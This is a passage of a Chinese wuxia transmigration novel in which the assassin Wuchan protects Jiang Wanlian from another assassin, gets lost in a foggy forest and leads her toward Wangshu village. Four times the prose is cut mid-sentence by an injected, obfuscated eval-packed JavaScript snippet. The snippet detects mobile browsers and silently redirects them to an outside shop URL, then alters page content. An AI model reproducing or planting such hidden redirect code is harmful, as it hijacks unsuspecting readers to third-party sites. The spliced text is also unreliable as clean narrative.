李子遥转过头,有些诧异:“师父的传信青鸟亲自送来的消息,岂能有假?江府血流成河,无一活口,这是官府初步勘验后放出的风声,江湖上也已传开了。” “无一活口……”叶玖重复着这四个字,指尖无意识地收紧。 “那为何,江晚怜还活着?”她抬起眼,看向李子遥,眼眸深处是复杂的困惑与一丝锐利的审视:“为何偏偏……是她活着?” 而且,是与无忏那样的人在一起。 “江家主对我有恩,我必须要查清楚。” 李子遥被她问得一怔,挠了挠头,脸上露出些许苦恼:“这……我也实在想不通。按理说,无忏那般人,接了灭门的买卖,怎会独独留下她?更何况……”他顿了顿,想起茶楼屋顶上,无忏将江晚怜当做挡箭牌抛出,而叶玖硬生生偏开剑锋的那一幕。 叶玖抿紧了唇。茶楼里,江晚怜看向无忏的眼神,有恐惧,有依赖,却并非全然陌生,更无深仇大恨。而灭门夜幸存的女眷,与行凶的杀手同行……这无论如何都说不通。 “师父让我们即刻回山,想必对此事已有计较。”李子遥走到她身边,语气放缓了些:“一切等回禀师父之后,再行定夺吧。” 叶玖默然片刻,终是点了点头,将软剑归鞘。只是起身时,她又忍不住回头,望向栖鹊镇的方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16979681|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼中疑虑未散。 江晚怜……你身上,究竟藏着什么秘密? 山中雾锁烟笼,寒意侵衣。 参天古木遮蔽了本就熹微的晨光,浓白湿润的雾气在枝桠间缓慢流淌,吞噬了远处的一切景致,连脚步声都被厚重的寂静吸收,只留下自己有些急促的呼吸和心跳声。江晚怜紧紧跟在无忏身后,几乎踩着他的脚印前行,饶是如此,几步之外他的玄色背影也已在雾中变得影影绰绰,仿佛随时会融化消失。 这种未知与寂静比昨日的刀光剑影更让人心头发毛。她忍不住清了清嗓子,试图打破这令人窒息的沉默: “那个……无大哥,我们是不是……在绕圈子?”她的声音在雾中显得有些虚浮。 前方身影步伐未乱,平淡的回应穿透雾气传来:“何出此言。” “你看那丛开着紫花、叶子像锯齿的草……”江晚怜指着左侧雾中一片模糊的阴影:“我好像看到第五回了。”还有那块形似卧牛的青石,第三次从雾里浮现时,她差点以为自己出现了幻觉。 无忏终于停下脚步,侧过身。雾气在他周身浮动,让那双异色眼眸看起来更加幽邃难测。他的视线扫过江晚怜所指的方向,又缓缓环顾四周被浓雾彻底包裹的密林,沉默了片刻。 “你迷路了?”江晚怜带着一丝自己也未察觉的期待问道。 “没有。” 真的没有? 他抬头,透过层层叠叠的枝叶与浓雾,望向根本无法窥见的天穹某处,仿佛在确认什么。随后,他改变了方向,不再沿着看似有路的小径,而是径直朝着左前方坡度更陡、林木更幽深茂密的地方走去。 “跟紧。”他只丢下这两个字,身影便没入更浓的雾霭与树影之中。 江晚怜一愣,赶紧拔腿跟上。果然,这一次,那些熟悉的紫花锯齿草和卧牛石没有再出现,周围的景物虽然依旧陌生而阴森,但至少是“新”的。无忏的步伐稳定而肯定,仿佛雾障于他而言不过一层轻纱。 然而,就在江晚怜稍稍安心,以为找到了正确路径时,走在前方的无忏却毫无征兆地再次停下了。 这一次,他停得很突兀,抬手示意身后的江晚怜止步。 江晚怜立刻屏住呼吸,顺着他的目光向前望去。前方雾气略微稀薄了些,隐约可见一片不大的林间空地,空地的中央,并非更加崎岖的山路,也不是想象中的猎人小屋或溪流,而是—— 一个人影。 一个人影?! 这里绝非寻常山民会踏足的地方,排除所有可能,只剩下了一种——他们又被盯上了。 周围迷雾缭乱,看不真切那人,只得从体型判断应是个女子。指间缠绕着数圈乌黑发亮的细索,索端连接着一枚棱角分明、泛着幽蓝暗光的棱镖,正随着她指尖极细微的动作,在空中划出几乎看不见的、危险的弧度。 无忏的手,已无声地按上了剑柄。他周身的空气仿佛瞬间凝固,那是一种比雾气更冷的、实质般的警惕与肃杀。 那女子的唇角,似乎极轻微地勾了一下。她腕部一振,那枚悬垂的棱镖倏然抬起,镖尖遥遥指向无忏,也同时将江晚怜笼在了无形的杀气范围内。 “等你很久了,”她的声音穿过雾气传来,带着一种金属摩擦般的沙哑冷意:“榜首,无忏。” 8. 等待进入网审 那沙哑冷冽的女声穿破浓雾,像一枚淬毒的冰针,钉入这片死寂的山林。 无忏按在剑柄上的手,指节微微收紧了一瞬。他没有立刻拔剑,只是静立在原地,那双眸子透过浮动的水汽,审视着数丈外那道模糊的身影。 江晚怜的心脏骤然缩紧,连呼吸都屏住了。又是杀手?!她下意识地往无忏身后挪了半步,那女子指间缠绕的乌黑细索和泛着幽蓝暗光的棱镖,在灰白的雾气中显得格外诡谲危险。 原漫中可没说有这段剧情! “什么人?”无忏问道。 “夜莺,不知阁下是否听过。” 他沉默了些许,憋了半天甚至等那自称“夜莺”的女人不耐烦地皱了眉,才憋出来了一个字。 “……谁?” 女子似乎不屑地笑了一声,那笑声同样有些沙哑:“暗杀榜第二十位,你可有些头绪了?” 早就躲在草丛的江晚怜听着两人对话,第二十位?想必也是个高手中的高手。 无忏再次简言问道:“你在此做甚?‘ “自然是‘做生意’,有人出了笔不小的价钱,买你身后那小姑娘的命。”她的目光,透过稀薄的雾霭,又透过草丛,精准地落在了江晚怜身上,带着猎手打量猎物般的估量:“顺便……若能摘下榜首的人头,酬金翻十倍。” 江晚怜浑身一僵,血液仿佛瞬间冻结。买她的命?她一个刚穿来没多久的“前江大小姐”,谁会专门雇凶杀她?难不成是江家灭门的罪魁祸首?还是因为她跟着无忏,触动了某些人的利益?亦或者……两种皆是?! 无忏的侧脸在雾气中显得格外冷硬,他没有看江晚怜,依旧直视着夜莺:“她的命,不值钱。” “雇主觉得值就行。”夜莺的指尖灵活地拨动着棱镖,那幽蓝的刃口随之划出更危险的弧度:“况且,能让你无忏带在身边的人,总该有些特别……杀了,或许能瞧瞧你那张永远没表情的脸,会不会裂开一道缝。” 这话语里的恶意与试探,毫不掩饰。 无忏沉默了片刻,山风穿过林隙,卷动雾气,也带来更深重的寒意。他忽然道:“我没有杀你的想法。” 不是“饶你一命”,而是“不杀你”。平淡的语气里,是一种基于绝对实力差距的漠然,甚至……带着几乎厌倦的敷衍,他看起来真的无意在此纠缠 夜莺缠绕细索的手指顿住了,雾气中,她眯起了眼睛。 “呵,”她再次发出短促的冷笑:“无忏,你何时变得这般……心慈手软了?我为了找到你的行踪可是费了大力气,你不‘招待’么?”最后几个字,她刻意加重,带着刺探。 无忏不再言语,向前踏出了一步。仅仅一步,周遭的空气骤然变得不同,那并非磅礴的杀气,而是一种更凝练的“势”,如同无形的冰域以他为中心悄然扩散,连飘荡的雾气都仿佛被冻结、排开些许。他依旧没有拔剑,但那按着剑柄的姿态,已从随意的戒备,变成了蓄势待发的原点。 他在用最直接的方式回应:要么死,要么滚。 夜莺脸上的最后一丝散漫消失了。她绷紧了身体,指间的棱镖不再悠闲晃动,而是稳稳地对准了无忏的方向,乌黑细索发出极轻微的、紧绷的颤音——她感受到了压力,属于暗杀榜榜首、那个名字本身就能让无数同行噤若寒蝉的压力。 但她没有退。 “我也不想打呀……但奈何那人报酬太高。”她沙哑的声音里透出狠意:“也好,让我领教一下,榜首究竟凭什么一直坐在那个位置上!” 话音未落,她的手腕猛地一甩。 破空之声尖锐刺耳,那枚幽蓝棱镖并非直射无忏,而是以一种极其刁钻的角度,划出一道弧线,绕过正面的无忏,直取他侧后方草丛中的江晚怜,速度之快,在雾中几乎只剩一道黯淡的蓝影。 攻其必救。 江晚怜只觉眼前蓝光一闪,死亡的冰冷触感瞬间攫住咽喉,她连惊呼都来不及发出。 就在棱镖即将触及她面门的刹那—— “铛——!” 一声清脆到令人牙酸的金铁交击声炸响! 无忏的身影不知何时已半转,那柄黝黑的长剑没有出鞘,但连鞘的剑身已精准无比地横拍在棱镖的侧面,巨大的力道不仅磕飞了棱镖,更让那幽蓝的刃口深深嵌入了一旁的古树树干,兀自颤动不休,发出嗡嗡的低鸣。 夜莺的瞳孔骤然收缩,她没料到无忏的反击会如此迅疾精准,甚至未出鞘便瓦解了她志在必得的偷袭!更让她心惊的是,对方似乎连眼神都没多给那飞镖半分,所有的注意力,依旧沉沉地锁在她身上。 那是一种无声的嘲讽——你的小伎俩,根本不值一提。 但她既已出手,便无退路,几乎在棱镖被击飞的瞬间,夜莺左手猛地一扯缠绕的乌黑细索,试图将嵌入树干的棱镖拽回,同时足下发力,右手从腰间一抹,三枚乌黑的透骨钉射向无忏上中下三路,封死他追击的路径。 然而,无忏的动作比她预想的更快,也更……出乎意料。 他没有去格挡那三枚透骨钉,在那三枚乌光袭来的刹那,他身形如蛇影般在雾中穿梭,那是极快的速度。透骨钉便擦着他的衣角、发梢,深深没入后方的泥土和树干,连他的衣袂都未能划破。 而他本人,已借着这看似闪避、实则蓄势的步伐,在夜莺惊愕的目光中,瞬间拉近了数丈距离!夜莺正好对上了他那如血凝成的左眸子,此刻竟然有些微微发亮。 夜莺心头大骇,仓促间只得放弃收回棱镖,双手急舞,细索绞向无忏脖颈,另一只手再次摸向腰间暗器囊。 但,晚了。 在细索即将触及他皮肤的刹那,他握着连鞘长剑的右手动了。不是格挡,也不是劈砍,而是将剑鞘向前一点,精准无比地点在细索力道流转的某个节点上。 细索猛地一颤,原本凌厉的绞杀之势瞬间溃散,软软垂落。夜莺只觉得一股阴柔冰寒的劲力顺着细索逆冲而上,整条手臂瞬间酸麻,几乎握不住索柄! 而就在她旧力已尽、新力未生的这短时间,无忏的左手已经探出,扣向了她摸向暗器囊的右手手腕。 夜莺拼尽全力向后急缩,刚刚的不屑瞬间转变。无忏居高临下看着眼前满是惊恐的人,随后发力。 “啊啊啊啊———!” 巨大的骨裂声响起,让夜莺痛得难以忍受,喊叫声回荡于迷雾缭绕的林中,她无法稳住身形只得扶着右手手腕踉跄后退, 无忏站在原地,瞄了眼夜莺狼狈的样子后,他甚至没有再看她第二眼,转身便朝着江晚怜藏身的草丛走去,仿佛刚才那兔起鹘落的交锋,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16979682|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随手拂开了一片碍事的落叶。 “你……”夜莺捂住剧痛的手腕,死死盯着无忏的背影,沙哑的声音因疼痛和惊怒而微微发抖:“无忏……你今日不杀我,来日我必……” “随你。”无忏头也不回地打断她,声音淡漠得没有一丝涟漪。他已经走到那棵草丛边,将里面的吓得满身冷汗之人拎了出来。 “走了。”无忏不再理会身后怨毒的目光,对江晚怜说道,语气平静得像是什么都没发生过。 夜莺似乎还是不服气,喊道:“无忏!你知道你护着那人是什么下场吗!?” “不知道。”无忏停下了脚步却未转身:“无非就是被人追,那种日子我习惯了。” 夜莺不再说话,江晚怜还想回头看看情况时,又被那人喊住了: “她跑了。” 江晚怜撅了撅嘴,再次壮了胆子与他并肩而行。 “为什么不杀她呀?” “我只杀我认为有罪之人,这次对她只是提醒。” 两人最终还是没能在太阳下山之前没能出这片林子,不是因为雾太大,而是因为—— 这人就是迷路了。 江晚怜蹲在无忏刚起的火边取暖,啃着自己在周围捡的不知道能不能吃的野果。心中暗骂道,早知道就不让这个死犟种带路了! 晚怜啃了一口野果,酸涩的汁水让她整张脸都皱了起来,但腹中饥饿,还是勉强咽了下去。她偷偷抬眼,看向对面怀剑而坐的无忏。 跳跃的火光映亮了他半边脸,将那眼眸染上暖色的光晕,却化不开眼底的深邃沉寂。他望着篝火,似乎在出神,又似乎只是单纯地在警戒。 江晚怜犹豫了一下,还是开口问道:“夜莺说的……有人买我的命,会是谁?” 无忏的视线从火焰上移开,落在她脸上。火光摇曳,他脸上的神情有些模糊。 “不知道。”他回答得很干脆:“想阻我之人,或是那夜的委托人。” “你不知道那人是谁?”江晚怜不解,原作者没解释清楚的,现在连无忏这个剧中之人居然也不知道? “我收到的,只有一句话。”无忏淡淡道,仿佛在说一件与己无关的事:“有人不喜变数。” 江晚怜心头一凛。是因为她的“死而复生”,打乱了某些人的计划吗? 无忏没有再说话,他拿起一根枯枝,随手拨弄了一下篝火,火星噼啪爆开,升腾起细小的灰烬。 “你自己选的这条路,”他抬起眼,异色的眸子在火光中直视着她:“何时不危险? 这话说得平静,却让江晚怜噎了一下。是啊,从她决定跟上他的那一刻起,危险就如影随形。 她低下头,默默啃着那酸涩的果子,心头五味杂陈。原本只是想抱个大腿活下去,没想到这大腿本身,上面扎满了针。 夜风穿过林间,带来远处不知名野兽的低嚎,也吹得篝火明明灭灭。 江晚怜也安静下来,抱紧膝盖,感受着篝火带来的微弱暖意。她不知道前路还有什么在等着他们,也不知道下一次袭击何时到来,篇。 但至少此刻,篝火旁,还有一个“大boss”在。 哪怕,他自己也是这无尽危险的一部分。 活下去,她再一次对自己说。 不管多难。 9. 出雾林 林间的湿雾,是在次日清晨被一阵不知从何处钻进来的、带着干爽草木气息的风吹散的。 第一缕真正的阳光穿透枝叶缝隙,落在江晚怜脸上时,她正迷迷糊糊地靠着树干打盹,昨夜那点篝火的余温早已散尽。她睁开眼,眨了眨,适应着久违的明亮光线,然后看见了坐在不远处一块青石上的无忏。 他将剑放于一旁,侧脸在晨光中清晰冷峻,察觉到她的动静,他转过脸,异色的眸子看过来,眼底清明,不见丝毫倦意。 “雾散了?”江晚怜揉了揉发僵的脖子,声音带着刚醒的沙哑。 “嗯。”无忏应了一声,站起身,目光扫过四周终于清晰起来的林木:“该走了。” 江晚怜也跟着站起来,活动了一下四肢。晨光驱散了阴霾,也似乎驱散了些许昨日遭遇截杀带来的沉重,她深吸了一口清冽的空气,忽然生出一种强烈的、想要做点什么的冲动——不能总这样被动地跟着,在迷雾和追杀里打转。 “无大哥,”她转过身,面向他,眼睛因为初升的日光而微微眯起,“今天……让我带路试试?” 无忏看着她,没说话,眼神里是惯常的审视与一丝几不可察的……疑惑? 江晚怜努力让自己的理由听起来充分些:“你方向感……嗯,可能偶尔会受到环境影响。”她尽量说得委婉,避开“路痴”这个直白的词。 “我呢,虽然对这里不熟,但我对这种事还是有点经验的。”事实上,其实是在曾经的课堂中,她为了打发时间不知道从哪里掏的一本“野外求生指南”,没想到看的那叫一个起劲,大部分记的比记教科书上的知识还清楚。 无忏沉默了片刻。晨风吹动他额前的碎发,也吹动他墨色的衣袂。就在江晚怜以为他会像往常一样,用沉默或一个“不”字否决时,他却几不可察地,幅度极小地点了下头。 “随你。” 江晚怜眼睛一亮,几乎不敢相信这么顺利。她立刻打起精神,按那本指南说的辨认了一下太阳的方位,又仔细观察了周围树木的枝叶朝向最后,她指向了阳光更充足、林木看起来相对没那么阴郁的一个方向。 “我们……往那边走?”她有些不确定地征询。 无忏的目光顺着她的指尖望去,那片林地在阳光下显出深浅不一的绿意,隐约还能听到潺潺的水声。他什么都没说,只是迈开步子,走到了她身侧,示意她先行。 这就算是……同意了? 江晚怜心头莫名雀跃了一下,像是个得到了微不足道许可的孩子。她调整了一下呼吸,迈开脚步,朝着自己选定的方向走去,步伐不自觉地,比平时轻快了些许。 无忏依旧跟在她身后三步左右的距离,不远不近,沉默依旧。 起初,江晚怜走得小心翼翼,时不时回头确认无忏还在,或者偷偷观察他的表情——那张脸上通常没什么表情,她也看不出所以然……但渐渐地,阳光越来越暖,林间的鸟鸣也清脆起来,她的注意力被周围的环境吸引了。 穿过一片低矮的灌木丛时,她眼尖地发现了几颗熟透的、红艳艳的野莓,指南中特意提过这种树莓是可以作为充饥的能量,她摘下来几颗,在衣襟上蹭了蹭,犹豫了一下,转身递给无忏两颗。 无忏垂眸看着那几颗沾着晨露、躺在少女不算干净掌心的小小果实,没有接。 “没毒。”江晚怜补充道,自己先塞了一颗进嘴里,酸甜的汁液瞬间盈满口腔,驱散了昨夜野果的酸涩记忆,她满足地眯了眯眼:“还挺甜。” 无忏这才伸出手,拈起一颗,放入口中。他咀嚼的动作很慢,脸上没什么表情,但江晚怜注意到,他那总是微微抿着的唇角,似乎极轻微地放松了一瞬。 “还行。”他评价道,声音平淡。 江晚怜却像是得了夸奖,心情更好了几分,果然自己上课摸鱼还是有用的! 再往前走,地势逐渐平缓,林木也变得稀疏,一条清澈的溪流横亘在前方,水声潺潺,在阳光下泛着粼粼波光,溪水不深,能看见底下圆润的卵石和穿梭的小鱼。 “有鱼!”江晚怜惊喜地低呼一声,蹲在溪边,眼巴巴地看着那些灵动的影子,在荒山野岭走了这些天,除了野果就是……无忏偶尔弄到的、烤得半生不熟的猎物的伙食。 她卷起袖子,试探着把手伸进水里,溪水冰凉刺骨,鱼儿狡猾地从她指缝间溜走。试了几次都徒劳无功,她有些泄气地收回手,手上只沾了几片水珠。 一直站在她身后几步远的无忏,这时走到了溪边。他没说话,只是弯腰观察了一会鱼儿们的走向,一瞬间——他的剑从鞘中而出,以极快的速度连续地叉了四条鱼于玄色的剑身上。然后,在江晚怜惊讶的目光中,他手腕一抖,将鱼统统甩上了岸。 动作行云流水,悄无声息。 江晚怜看得目瞪口呆,直到那条小鱼在岸边的草地上弹跳,她才回过神来,连忙跑过去捡起来。鱼不大,但足够两个人吃了。 “你……还会这个?”她抱着鱼,眼睛亮晶晶地看着无忏,不禁感叹道这剑的用处还真多。 无忏将手中的剑重新收鞘,“生存所需。”他就简单说了一句,随后便捡了几根树枝,将鱼一条条串起。 把鱼放在地上后,江晚怜就去生火了。 这次换成了江晚怜来烤鱼,毕竟……无忏他烤的太难吃了,不是生就是过于熟。她紧盯着鱼慢慢变得焦黄后,在某一时刻她一下将鱼从火边拿了起来,尝了口后——刚刚好!这才将剩下两条鱼递给无忏。 江晚怜将烤得恰到好处、外皮微焦的金黄小鱼递给无忏,自己捧着另一条,小口小口吹着气,小心地咬下一块。鱼肉鲜嫩,带着最原始的炭火香气,虽然没有任何调料,但对于连日在山林中跋涉、饮食粗糙的两人来说,已算得上难得的美味。 无忏接过鱼,也低头吃了起来。他的吃相很斯文,却并不慢,动作间有种与生俱来的、难以言喻的韵律感,仿佛进食这件事也蕴含着某种静默的专注。阳光透过稀疏的树冠洒落,在他低垂的眉眼和鸦羽般的长睫上跳跃,将他周身那股惯常的冰冷锐利气息冲淡了些许。 江晚伦偷偷瞄着他,心里那份因成功引路和烤鱼带来的小小成就感,又膨胀了一点。她甚至觉得,此刻这片寂静的林间溪畔,有那么点像……郊游?如果能忽略掉他们亡命徒的身份和不知何时会再出现的追杀的话。 “嗯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16982363|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无忏忽然发出一个短促的音节,打断了她的胡思乱想。他已经吃完了自己那份,动作一丝不苟。 江晚怜愣了一下,才反应过来他是在评价鱼。一个“嗯”字,大概算是……认可? 她忍不住弯了弯嘴角,也加快速度吃完了自己的鱼。简单的饱腹感带来一种踏实的暖意,连带着看周围的风景都觉得顺眼了许多。 收拾停当,灭了火堆,确保不留痕迹后,两人继续上路。依旧是江晚怜走在前面,无忏落后几步。 许是吃饱了心情好,又或许是阳光太明媚,江晚怜的胆子也大了些。她不再只是闷头赶路,开始留意起周围那些与“求生”无关的细节。 “你看那朵花,”她指着岩缝里一簇开得正盛的紫色野花,花瓣细长,在风中微微颤动,煞是好看:“我在书里见过,好像叫‘幽梦兰’,只在向阳又湿润的岩缝里长,没想到这里也有。” 无忏顺着她的指尖看了一眼,没说话。 江晚怜也不在意,自顾自继续说:“还有那种藤,看到没,叶子像心形的,据说汁液能治轻微的烫伤……” 她像一只终于飞出笼子的小鸟,叽叽喳喳地分享着从她那本“课外读物”里看来的零碎知识。起初只是零星几句,后来见无忏并未露出不耐,甚至偶尔会随着她的指点将目光投向那些植物,她便渐渐放开了,从植物说到偶尔惊起的山鸡或松鼠的习性,甚至开始推测起这片山林的地形和可能存在的兽径。 她说的大部分内容,在无忏看来或许粗浅甚至未必完全准确,但那份因“知道”而焕发的神采,以及试图用自己方式去理解和探索这个陌生世界的努力,却有种奇异的生动。他沉默地听着,异色的眼眸偶尔会落在她因兴奋而微微泛红的侧脸上,眸光深处有极淡的、连他自己都未曾察觉的波澜掠过。 他们走得不快,江晚怜时常会为了一丛没见过的野果或一块形状奇特的石头稍稍驻足。无忏也从不催促,只是在她停步时也静静停下,目光警惕地扫过四周,确认安全后,便又恢复成那副抱剑静立的姿态,等她看够。 午后,他们穿过一片更为开阔的向阳坡地。这里的草长得有半人高,其间点缀着无数不知名的野花,在阳光下恣意绽放,引来蜂蝶穿梭。风过时,草浪起伏,花香混合着青草的气息扑面而来,视野豁然开朗,能望见远处层叠的青山轮廓。 “哇……”江晚怜忍不住发出一声低低的惊叹。这景色与她前世在图片上见过的草原有些相似,她快走几步,踏入齐腰深的草丛中,惊起几只栖息其中的蚂蚱,扑棱棱飞向远处。 无忏站在坡地边缘,看着她在花草丛中小心翼翼地穿行,偶尔弯下腰去触碰一朵花,或试图追逐一只翩跹的蝴蝶,裙摆和衣袖被草叶上的露珠打湿也浑然不觉。金色的阳光给她镀上一层毛茸茸的光晕,那张总是带着紧张或忐忑的小脸上,此刻洋溢着纯粹的好奇与欢喜,甚至有那么一瞬,看起来竟像个真正无忧无虑的少女。 他静静地看了片刻,然后移开目光,望向远方,那惯常笼罩着他的、与周遭格格不入的孤冷气息,似乎被这片灿烂的日光和生机勃勃的草甸冲淡了少许,但更深沉的东西,依旧沉淀在他眼底,未曾动摇。 10. 换新衣 晨光如练,温柔地铺展在望舒村外的阡陌小径上。远处,大片大片的绣球花、鸢尾和许多叫不上名字的野花,正开得泼泼洒洒,织成一片漫至山脚的、静谧而斑斓的锦缎,空气里浮动着清甜的花香与潮湿的泥土气息。 江晚怜跟在无忏身后三步远的地方,踩着他被晨露微微浸湿的脚印。她的目光却有些飘忽,不住地投向那座在晨雾与花海中若隐若现的宁静村落——望舒村。 在原主的记忆碎片和那本匆匆翻过的漫画角落里,关于这个村落的印象零星却是无比美好:以四季不绝的花海闻名,女子善织绣,民风淳朴得近乎与世隔绝,堪称乱世江湖中一个被遗忘的温柔乡,若是从前那个只为升学烦恼的江晚莲,大概会梦想在这样的地方找间小屋,虚度光阴。 可现在…… 江晚怜悄悄攥紧了袖口,漫画剧情如同自动翻页般在她脑中回放——按照时间线推算,在栖鹊镇与他们交锋失手后,李子遥和叶玖极有可能已返回师门“凌云门”禀报一切。可自从自己打乱了剧情,那位以匡扶正义、明察秋毫著称的凌云门掌门,绝不会对“江家遗孤与杀手同行”这等蹊跷之事置之不理!一旦他们再次下山追查,这处位于南下要道旁、风景独好的望舒村,简直是必经的歇脚点。 真是才出雾林,又临险滩……她这“行走的金元宝”未免也太引人注目了些。 “怎么了?” 走在前方的无忏不知何时已停下脚步,转过身来。晨光从他侧后方打来,为他墨色的身影镀上了一层淡金色的边缘,却让他的正脸陷在些许阴影里,唯有那双异色的眸子,清晰地看着她,带着一贯的冷淡,和一丝不易察觉的探究。 江晚怜猛地回神,对上他的目光,心头那点忧虑瞬间化作了被看穿般的窘迫。她赶忙快走几步跟上,挤出一个略显仓促的笑容:“呃……没什么,就是觉得这村子真好看。” 她顿了顿,试图让语气听起来更自然些:“那个……无大哥,咱们是不是……别进村了?绕过它继续赶路吧?我看那边好像也有小路。”她指向花海边缘一条更窄、更荒僻的土径。 无忏没有立刻回答。他的视线在她脸上停留了片刻,从她微微闪烁的眼眸,到她下意识抿紧的嘴唇,然后移开,投向近在咫尺的村落,村口已有早起的农人扛着锄头走过,几只芦花鸡在篱笆边悠闲地啄食,炊烟从几处青瓦屋顶袅袅升起,融进淡蓝的天幕,一切都是最平凡安稳的世俗烟火图景。 “为什么?”他忽然开口,声音平淡无波,听不出情绪:“某人明明刚刚还玩的挺开心的。” 江晚怜脸颊蓦地一热———是了,早上经过那片雏菊花田时,一只极罕见的蓝紫色大凤蝶悠然飞过,她对这种东西一向很感兴趣,一时忘形……提着裙子就追了上去,还是无忏站在原地,等她自己气喘吁吁又悻悻然地跑回来。 “现在,”无忏收回望向村庄的目光,重新落在她脸上,那平淡的语调里,似乎掺进了一丝极淡的、几乎难以捕捉的别的什么东西:“又说要绕路。” 他没有质问,只是陈述。但这简单的两句话,已将她那点小心思剥得干干净净——你明明喜欢这里,却在害怕什么。 江晚怜被噎得说不出话,一股混合着尴尬、懊恼和被戳破心事的羞恼涌了上来,她瞪着他那张没什么表情的脸,忽然就觉得这人实在可恶,明明看透一切,却偏要用这种不动声色的方式说出来。 “哎哟!你烦不烦!?”她几乎是脱口而出,带着点破罐破摔的任性,脚下一顿,竟然抢步越过了他,赌气般朝着村口那条大路走去,把那个总能轻易搅乱她心绪的身影丢在了身后。 走出去好几步,她才后知后觉地感到一丝心慌,脚步不自觉地慢了下来,耳朵却竖得尖尖的,留意着身后的动静。 没有脚步声跟上。 他不会……真的不管她,或者转身就走另一条路了吧? 这个念头让她心头一紧,正要忍不住回头偷瞄—— 一阵极轻、极稳的脚步声,已不紧不慢地响在了她身后,保持着惯常的三步距离。 江晚怜紧绷的肩膀悄悄松弛下来,一种莫名的、微小的得意混杂着安心,悄悄漫上心头。她甚至能想象出他此刻的样子:大概依旧是那副八风不动的淡漠表情,或许还会几不可察地摇一下头,然后默默跟上。 她没有再回头,只是原本有些僵硬的步伐,渐渐恢复了自然,甚至带上了一点连她自己都没察觉的、近乎雀跃的轻快。晨风拂过路旁的花田,涌起层层馥郁的香浪,将她墨色的发丝和淡绿的衣袂轻轻扬起。 在她身后,无忏的目光掠过她微微扬起的下巴和重新挺直的背影,他无言地跟上,像一道沉默的影子,却又无比确凿地存在于她三步之后,将她与身后可能潜藏的一切未知风险,悄然隔开。 望舒村温柔的晨光,终于将两人的身影,渐渐笼罩。村口那株老槐树下,已有摆出早摊的村民好奇地张望过来,目光触及无忏异于常人的双眼时,闪过一丝惊诧,但很快又被质朴的好奇取代。 突然! “——哎哟!” “我靠——!!” 江晚怜正被路边一个卖竹编蝴蝶的小摊吸引,没留神前方,竟与一个风风火火冲过来的小身影结结实实撞在了一起。两人齐齐跌坐在地上。 “唔……好痛好痛,诶!?大姐姐你没事吧!”那是个扎着双辫、约莫七八岁的小女孩,自己还没站稳,就急忙爬起来,伸手去拉江晚怜。 “没事没事,”江晚怜借力起身,拍了拍裙摆上根本不差这一下的灰尘。尽管这身衣服从穿越那夜起就已经泥泞血污得看不出原色,她还是下意识做出了这个动作。她叉着腰,看着的小姑娘,故意板起脸,语气却并不严厉:“倒是你,跑这么快干什么呀?你娘亲没教过你不能在路上乱跑,小心撞到别人吗?” 小女孩果然被这“大人”的架势唬住,缩了缩脖子。她看着江晚怜身上那些触目惊心的污渍,天真地以为全是自己刚才的“杰作”,眼圈顿时有点发红,连声道歉:“对不起对不起……大姐姐,穗穗错了!穗穗不是故意撞大姐姐的,弄脏了姐姐这么漂亮的衣服……我、我喊我娘亲给你织新的衣服作为赔礼好不好?” 听到“织新衣服”,江晚怜原本佯装的嗔怒表情差点没绷住。她眉头缓了缓,打量着这个自称穗穗的孩子:“你叫穗穗?等等,你娘亲?织新衣服?赔礼?” 穗穗用力点头,小辫子跟着一晃一晃,她指着前方不远处一间挂着靛蓝布招的铺子:“嗯嗯!娘亲的织坊就在前头,她的手艺是村里最好的!” 江晚怜还在犹豫——她倒不是贪图一身新衣,实在是这身破烂穿着,自己都觉得碍眼,更怕引人探究。可不等她回应,穗穗已急急牵起她的手,不由分说地拉着她就往前跑,嘴里还念叨着:“快点快点,让娘亲现在就给姐姐量尺寸!” 小小的身影力气倒是不小,江晚怜被她拽着,踉跄了一下,只得跟着跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16983892|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 